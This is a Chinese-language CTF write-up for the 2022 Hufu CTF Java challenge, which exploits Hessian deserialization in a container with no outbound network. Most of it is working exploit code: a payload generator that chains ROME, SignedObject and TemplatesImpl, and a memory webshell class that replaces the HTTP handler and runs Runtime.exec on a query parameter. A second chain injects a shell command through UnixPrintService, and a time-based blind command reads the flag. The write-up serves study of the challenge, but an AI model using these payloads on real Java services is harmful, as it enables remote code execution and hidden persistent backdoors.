2022虎符CTF-Java部分 写在前面 非小白文,代码基于marshalsec 项目基础上进行修改
正文 本身我是不太懂hessian的反序列化,大概去网上搜了一下配合ROME利用的思路(如果反序列化map对象,在逻辑后面通过put操作,从而触发对key调用hashCode打ROME),这里不清楚可以看看ROME利用链以及hessian反序列化的一些简单东西
首先简单看下docker,可以看到会导致不能出网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 version: '2.4' services: nginx: image: nginx:1.15 ports: - "0.0.0.0:8090:80" restart: always volumes: - ./nginx.conf:/etc/nginx/conf.d/default .conf:ro networks: - internal_network - out_network web: build: ./ restart: always volumes: - ./flag:/flag:ro networks: - internal_network networks: internal_network: internal: true ipam: driver: default out_network: ipam: driver: default
nginx.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 server { listen 80; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm; proxy_pass http://web:8090; } #error_page 404 /404.html; # redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } }
利用一:SignedObject实现二次反序列化 既然不出网那就无法配合JNDI去利用了(网上主流的利用),后面尝试了TemplatesImpl,在Hessian的一些限制下(有空自己去看源码),导致被transient
修饰的_tfactory
对象无法写入造成空指针异常,为什么呢,自己看图可以看到不仅仅是被transient
修饰,同时静态变量也不行,这里导致另一个利用链不能打,这里不提
之后解决思路就是找个二次反序列化的点触发原生反序列化即可,最后找到个java.security.SignedObject#SignedObject
,里面的getObject可以触发
1 2 3 4 5 6 7 8 9 10 11 public Object getObject () throws IOException, ClassNotFoundException { ByteArrayInputStream b = new ByteArrayInputStream(this .content); ObjectInput a = new ObjectInputStream(b); Object obj = a.readObject(); b.close(); a.close(); return obj; }
这时候聪明的你一定想问,为什么原生反序列化就可以恢复这个trasient
修饰的变量呢,答案如下com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#readObject
,重写了readOBject方法
因此得到下面简单的payload,下面payload有一些地方还可以完善变得更好,但是我懒
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 package marshalsec;import com.caucho.hessian.io.Hessian2Input;import com.caucho.hessian.io.Hessian2Output;import com.rometools.rome.feed.impl.EqualsBean;import com.rometools.rome.feed.impl.ObjectBean;import com.rometools.rome.feed.impl.ToStringBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import javassist.ClassPool;import marshalsec.gadgets.JDKUtil;import javax.management.BadAttributeValueExpException;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.security.*;import java.util.Base64;import java.util.HashMap;import static marshalsec.util.Reflections.setFieldValue;public class Test { public static void main (String[] args) throws Exception { byte [] code = ClassPool.getDefault().get("Yyds" ).toBytecode(); TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates,"_name" ,"abc" ); setFieldValue(templates,"_class" ,null ); setFieldValue(templates,"_tfactory" ,new TransformerFactoryImpl()); setFieldValue(templates,"_bytecodes" ,new byte [][]{code}); ToStringBean bean = new ToStringBean(Templates.class,templates); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(1 ); setFieldValue(badAttributeValueExpException,"val" ,bean); KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA" ); keyPairGenerator.initialize(1024 ); KeyPair keyPair = keyPairGenerator.genKeyPair(); PrivateKey privateKey = keyPair.getPrivate(); Signature signingEngine = Signature.getInstance("DSA" ); SignedObject so = null ; so = new SignedObject(badAttributeValueExpException, privateKey, signingEngine); ObjectBean delegate = new ObjectBean(SignedObject.class, so); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); HashMap<Object, Object> map = JDKUtil.makeMap(root, root); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); output.writeObject(map); output.getBytesOutputStream().flush(); output.completeMessage(); output.close(); System.out.println(new String(Base64.getEncoder().encode(os.toByteArray()))); } }
这样就可以实现执行反序列化打TemplatesImpl
加载恶意代码了,接下来既然不出网,比较方便的就是去注入内存马
按照经验来讲Web中间件是多线程的应用,一般requst对象都会存储在线程对象中,可以通过Thread.currentThread()
或Thread.getThreads()
获取,按照这个思路写就行了
我是懒狗之间暴力替换handler(继承AbstractTranslet实现HttpHandler),嫌弃麻烦可以自己加路由可以让代码更短,还可以放到静态块防止触发两次,一句话我懒自己改去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 import com.sun.net.httpserver.HttpContext;import com.sun.net.httpserver.HttpExchange;import com.sun.net.httpserver.HttpHandler;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.*;import java.lang.reflect.Field;public class Yyds extends AbstractTranslet implements HttpHandler { public void handle (HttpExchange t) throws IOException { String response = "Y4tacker's MemoryShell" ; String query = t.getRequestURI().getQuery(); String[] var3 = query.split("=" ); System.out.println(var3[0 ]+var3[1 ]); ByteArrayOutputStream output = null ; if (var3[0 ].equals("y4tacker" )){ InputStream inputStream = Runtime.getRuntime().exec(var3[1 ]).getInputStream(); output = new ByteArrayOutputStream(); byte [] buffer = new byte [4096 ]; int n = 0 ; while (-1 != (n = inputStream.read(buffer))) { output.write(buffer, 0 , n); } } response+=("\n" +new String(output.toByteArray())); t.sendResponseHeaders(200 , (long )response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } public Yyds () throws Exception { super (); try { Object obj = Thread.currentThread(); Field field = obj.getClass().getDeclaredField("group" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getDeclaredField("threads" ); field.setAccessible(true ); obj = field.get(obj); Thread[] threads = (Thread[]) obj; for (Thread thread : threads) { if (thread.getName().contains("Thread-2" )) { try { field = thread.getClass().getDeclaredField("target" ); field.setAccessible(true ); obj = field.get(thread); System.out.println(obj); field = obj.getClass().getDeclaredField("this$0" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getDeclaredField("contexts" ); field.setAccessible(true ); obj = field.get(obj); field = obj.getClass().getDeclaredField("list" ); field.setAccessible(true ); obj = field.get(obj); java.util.LinkedList lt = (java.util.LinkedList)obj; Object o = lt.get(0 ); field = o.getClass().getDeclaredField("handler" ); field.setAccessible(true ); field.set(o,this ); }catch (Exception e){ e.printStackTrace(); } } } }catch (Exception e){ } } }
其实可以去静态块改一下,不然执行两次多多少少有点烦,就这样了so easy
当然太暴力了也不好哈哈哈,还可以在上面的sun.net.httpserver.ServerImpl$Dispatcher
直接执行sun.net.httpserver.ServerImpl#createContext(java.lang.String, com.sun.net.httpserver.HttpHandler)
创建新的路由即可
这里就不写了,一个字懒,反正也不难
实现效果
利用二:UnixPrintService直接执行命令 之前不清楚,后面@wuyx师傅提醒我才发现可以不用实现序列化接口,具体可以参考marshalsec的实现
1 2 3 HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true ); output.setSerializerFactory(sf);
在sun.print.UnixPrintService
的所有get方法都能触发,别看这个是Unix其实linux也有,在高版本被移除(有兴趣自己考古),利用方式就是简单命令拼接执行(缺点就是太能弹了,基本上每个get方法都能弹)
它会去找public修饰的getter方法,而为什么会调用哪个私有方法其实也很简单比如说getAttributes里面就调用了这些触发命令执行的私有方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public PrintServiceAttributeSet getAttributes () { HashPrintServiceAttributeSet var1 = new HashPrintServiceAttributeSet(); var1.add(this .getPrinterName()); var1.add(this .getPrinterIsAcceptingJobs()); PrinterState var2 = this .getPrinterState(); if (var2 != null ) { var1.add(var2); } PrinterStateReasons var3 = this .getPrinterStateReasons(); if (var3 != null ) { var1.add(var3); } var1.add(this .getQueuedJobCount()); return AttributeSetUtilities.unmodifiableView(var1); }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Constructor<UnixPrintService> declaredConstructor = UnixPrintService.class.getDeclaredConstructor(String.class); declaredConstructor.setAccessible(true ); ObjectBean delegate = new ObjectBean(sun.print.UnixPrintService.class, declaredConstructor.newInstance(";open -na Calculator" )); ObjectBean root = new ObjectBean(ObjectBean.class, delegate); HashMap<Object, Object> map = JDKUtil.makeMap(root, root); ByteArrayOutputStream os = new ByteArrayOutputStream(); Hessian2Output output = new Hessian2Output(os); HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory(); sf.setAllowNonSerializable(true ); output.setSerializerFactory(sf); output.writeObject(map); output.getBytesOutputStream().flush(); output.completeMessage(); output.close(); System.out.println(new String(Base64.getEncoder().encode(os.toByteArray())));
拿flag的话就两种方式JavaAgent
注入内存马,或者本来就是ctf
1 if [ `cut -c 1 flag` = "a" ];then sleep 2 ;fi
如何快速拿利用链 在这次比赛后我简单学习了下用tabby,通过下面的neo4j查询语句,之后人工排查下
1 match path= (m1:Method )- [:CALL * ..3 ]- > (m2:Method {}) where m1.NAME = ~ "get.*" and m1.PARAMETER_SIZE= 0 and (m2.NAME = ~ "exec.*" or m2.NAME = ~ "readObject") return path
利用一:
利用二:
总的来说还是学的挺多,挺有收获的一个比赛